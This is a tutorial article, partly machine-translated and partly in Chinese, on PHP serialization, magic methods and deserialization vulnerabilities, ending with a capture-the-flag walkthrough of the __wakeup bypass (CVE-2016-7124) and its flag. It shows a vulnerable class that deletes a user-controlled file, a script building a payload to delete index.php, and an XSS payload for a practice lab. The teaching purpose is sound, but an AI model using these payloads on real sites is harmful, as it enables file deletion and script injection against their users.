Home > Article > Backend Development > Detailed analysis of PHP deserialization vulnerabilities
This article brings you relevant knowledge about PHP, which mainly introduces related issues about deserialization vulnerabilities, including PHP object-oriented programming, serialization and deserialization, The principles of deserialization vulnerabilities and other contents, I hope it will be helpful to everyone.
##Recommended learning: "PHP Video Tutorial"
1. PHP Object-Oriented Programming在Object-oriented programming (Object-oriented programming, OOP),
Object is a represented by information and the description of processing the information The whole composition is an abstraction of the real world.
A class is a collection of objects that share the same structure and behavior. The definition of each class begins with the keyword class, followed by the name of the class.
Create a PHP class:<?php class TestClass //定义一个类 { //一个变量 public $variable = 'This is a string'; //一个方法 public function PrintVariable() { echo $this->variable; } } //创建一个对象 $object = new TestClass(); //调用一个方法 $object->PrintVariable(); ?>public, protected, privatePHP
Access control for attributes or methods is by adding # in front ##Keywords Public (public), protected (protected) or private (private) to achieve. public (public): Public class members can be accessed
fromanywhere. protected (protected): Protected class members can
be accessedby itself and its subclasses and parent classes. private (private): Private class members
can only be accessedby the class in which they are defined. Note:
With different access control modifiers, the length and attribute value of the attributes after serialization will be different, as shown below: public: The attributes are serialized When the attribute value is serialized, the attribute value will become
Attribute nameprotected: When the attribute is serialized, the attribute value will become
private: When the attribute is serialized, the attribute value will become
where:
means The empty character
, but still occupies one character position (space), as in the following example <?phpclass People{
public $id;
protected $gender;
private $age;
public function __construct(){
$this->id = 'Hardworking666';
$this->gender = 'male';
$this->age = '18';
}}$a = new People();echo serialize($a);?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}
Magic method (magic function)
Methods starting with __ are called Magic methods
(Magic methods)PHP official——Magic methods
The class may contain some special functions: magic functions, which will
under certain circumstances. __construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set() //在给不可访问属性赋值时触发
__isset() //当对不可访问属性调用 isset() 或 empty() 时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
serialize() function checks whether a magic method exists in the class. If present, this method will be called first, and then the serialization operation will be performed.
We need to focus on the 5 magic methods, so we will emphasize them again:
__construct: Constructor, called when an object is created
: Destructor, called when an object is destroyed
: When an object Used when treated as a string
: Called __wakeup# when the object is serialized
is reconstructed from a binary string into an object (called when an object is
deserialized ) from serialization The execution process of these functions to deserialize is:
__construct()
->__sleep() ->
__wakeup() ->
__toString() ->
__destruct()
<?php class TestClass { //一个变量 public $variable = 'This is a string'; //一个方法 public function PrintVariable() { echo $this->variable.'<br />'; } //构造函数 public function __construct() { echo '__construct<br />'; } //析构函数 public function __destruct() { echo '__destruct<br />'; } //当对象被当作一个字符串 public function __toString() { return '__toString<br />'; } } //创建一个对象 //__construct会被调用 $object = new TestClass(); //创建一个方法 //‘This is a string’将会被输出 $object->PrintVariable(); //对象被当作一个字符串 //toString会被调用 echo $object; //php脚本要结束时,__destruct会被调用 ?>
Output result:
__construct This is a string __toString __destruct
__toString()
There are too many factors that can trigger this magic method, so it is necessary to list them:1. echo($obj)/print($obj)打印时会触发 2. 反序列化对象与字符串连接时 3. 反序列化对象参与格式化字符串时 4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 5. 反序列化对象参与格式化SQL语句,绑定参数时 6. 反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等 7. 在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用 8. 反序列化的对象作为class_exists()的参数的时候
The role of magic methods in deserialization attacks
The entrance to deserialization is at parameters are controllable and this class exists in the current scope, any serialized object can be passed in, instead of being limited to
unserialize()Object of the function class. If it can only be limited to the current class, the attack surface is too small, and deserializing objects of other classes can only control attributes. If the methods of other class objects are not called in the deserialized code, , still cannot exploit the vulnerability to attack.
use the object properties in deserialization to Manipulate some exploitable functions
to achieve the purpose of attack.Understand the role of magic methods in deserialization vulnerabilities through the following example. The code is as follows:
2. PHP serialization and deserializationPHP serializationSerialization (also called Serialization).
json数据使用 ,
分隔开,数据内使用 :
分隔键和值
json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()
得到原数据,
这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。
有两种情况必须把对象序列化:
把一个对象在网络中传输
把对象写入文件或数据库
相关概念可以参考我以前的文章:
Python序列化与反序列化详解(包括json和json模块详解)
PHP序列化:把对象转化为二进制的字符串,使用serialize()
函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()
函数
通过例子来看PHP序列化后的格式:
<?php class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } // “.”表示字符串连接 } //创建一个对象 $usr = new User(); //设置数据 $usr->age = 18; $usr->name = 'Hardworking666'; //输出数据 $usr->printdata(); //输出序列化后的数据 echo serialize($usr) ?>
输出结果:
User Hardworking666 is 18 years old. O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
就是对象user序列化后的形式。
“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。
“{}”里面是参数的key和value,
“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后面同理。
序列化格式:
a - array 数组型 b - boolean 布尔型 d - double 浮点型 i - integer 整数型 o - common object 共同对象 r - objec reference 对象引用 s - non-escaped binary string 非转义的二进制字符串 S - escaped binary string 转义的二进制字符串 C - custom object 自定义对象 O - class 对象 N - null 空 R - pointer reference 指针引用 U - unicode string Unicode 编码的字符串
PHP序列化需注意以下几点:
1、序列化只序列属性,不序列方法
2、因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
3、我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击
对上例进行反序列化:
<?php class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } } //重建对象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}'); //输出数据 $usr->printdata(); ?>
User Hardworking666 is 18 years old.
_sleep
方法在一个对象被序列化时调用,_wakeup
方法在一个对象被反序列化时调用
<?phpclass test{ public $variable = '变量反序列化后都要销毁'; //公共变量 public $variable2 = 'OTHER'; public function printvariable() { echo $this->variable.'<br />'; } public function __construct() { echo '__construct'.'<br />'; } public function __destruct() { echo '__destruct'.'<br />'; } public function __wakeup() { echo '__wakeup'.'<br />'; } public function __sleep() { echo '__sleep'.'<br />'; return array('variable','variable2'); }}//创建一个对象,回调用__construct$object = new test(); //序列化一个对象,会调用__sleep$serialized = serialize($object); //输出序列化后的字符串print 'Serialized:'.$serialized.'<br />'; //重建对象,会调用__wakeup$object2 = unserialize($serialized); //调用printvariable,会输出数据(变量反序列化后都要销毁)$object2->printvariable(); //脚本结束,会调用__destruct?>
__construct __sleep Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}__wakeup 变量反序列化后都要销毁 __destruct __destruct
从序列化到反序列化这几个函数的执行过程是:__construct()
->__sleep
-> __wakeup()
-> __toString()
-> __destruct()
PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题
PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。
如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化
从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。
序列化和反序列化本身没有问题,
但是反序列化内容用户可控,
且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
当传给unserialize()
的参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct
被调用时,日志文件将会被删除:
//logdata.php<?phpclass logfile{ //log文件名 public $filename = 'error.log'; //一些用于储存日志的代码 public function logdata($text) { echo 'log data:'.$text.'<br />'; file_put_contents($this->filename,$text,FILE_APPEND); } //destrcuctor 删除日志文件 public function __destruct() { echo '__destruct deletes '.$this->filename.'file.<br />'; unlink(dirname(__FILE__).'/'.$this->filename); }}?>
调用这个类:
<?phpinclude 'logdata.php'class User{ //类数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is'.$this->age.' years old.<br />'; }}//重建数据$usr = unserialize($_GET['usr_serialized']);?>
代码$usr = unserialize($_GET['usr_serialized']);
中的$_GET[‘usr_serialized’]
是可控的,那么可以构造输入,删除任意文件。
如构造输入删除目录下的index.php文件:
<?php include 'logdata.php'; $object = new logfile(); $object->filename = 'index.php'; echo serialize($object).'<br />'; ?>
上面展示了由于输入可控造成的__destruct
函数删除任意文件,其实问题也可能存在于__wakeup
、__sleep
、__toString
等其他magic函数。
比如,某用户类定义了一个__toString
,为了让应用程序能够将类作为一个字符串输出(echo $object
),而且其他类也可能定义了一个类允许__toString
读取某个文件。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
例如,皮卡丘靶场PHP反序列化漏洞
$html="; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>错误输出</p>"; }else{ $html.="<p>{$unser->test)</p>"; }
为了执行<script>alert('xss')</script>
,Payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
其他知识点:
unserialize
漏洞依赖条件:
1、unserialize函数的参数可控
2、脚本中存在一个构造函数(__construct()
)、析构函数(__destruct()
)、__wakeup()
函数中有向PHP文件中写数据的操作类
3、所写的内容需要有对象中的成员变量的值
防范方法:
1、严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
2、对于unserialize后的变量内容进行检查,以确定内容没有被污染
攻防世界xctf web unserialize3
打开网址后的代码:
class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=
已知在使用 unserialize()
反序列化时会先调用 __wakeup()
函数,
而本题的关键就是如何 绕过 __wakeup()
函数,就是 在反序列化的时候不调用它
当 序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()
代码中的__wakeup()
方法如果使用就是和unserialize()
反序列化函数结合使用的
这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化。
我们利用php中的new运算符,实例化类xctf。
new 是申请空间的操作符,一般用于类。
比如定义了一个 class a{public i=0;}
$c = new a();
相当于定义了一个基于a类的对象,这时候 $c->i
就是0
构造序列化的代码在编辑器内执行:
<?php class xctf{ public $flag = '111'; //public定义flag变量公开可见 public function __wakeup(){ exit('bad requests'); } }//题目少了一个},这里补上 $a=new xctf(); echo(serialize($a)); ?>
运行结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化返回的字符串格式:
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
O
:表示序列化的是对象<length>
:表示序列化的类名称长度<class name>
:表示序列化的类的名称<n>
:表示被序列化的对象的属性个数<field name 1>
:属性名<field value 1>
:属性值
所以要修改属性值<n>
,既把1改为2以上。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在url中输入:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}
漏洞:__wakeup
绕过(CVE-2016-7124)
CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
官方给出的影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
推荐学习:《PHP教程》
The above is the detailed content of Detailed analysis of PHP deserialization vulnerabilities. For more information, please follow other related articles on the PHP Chinese website!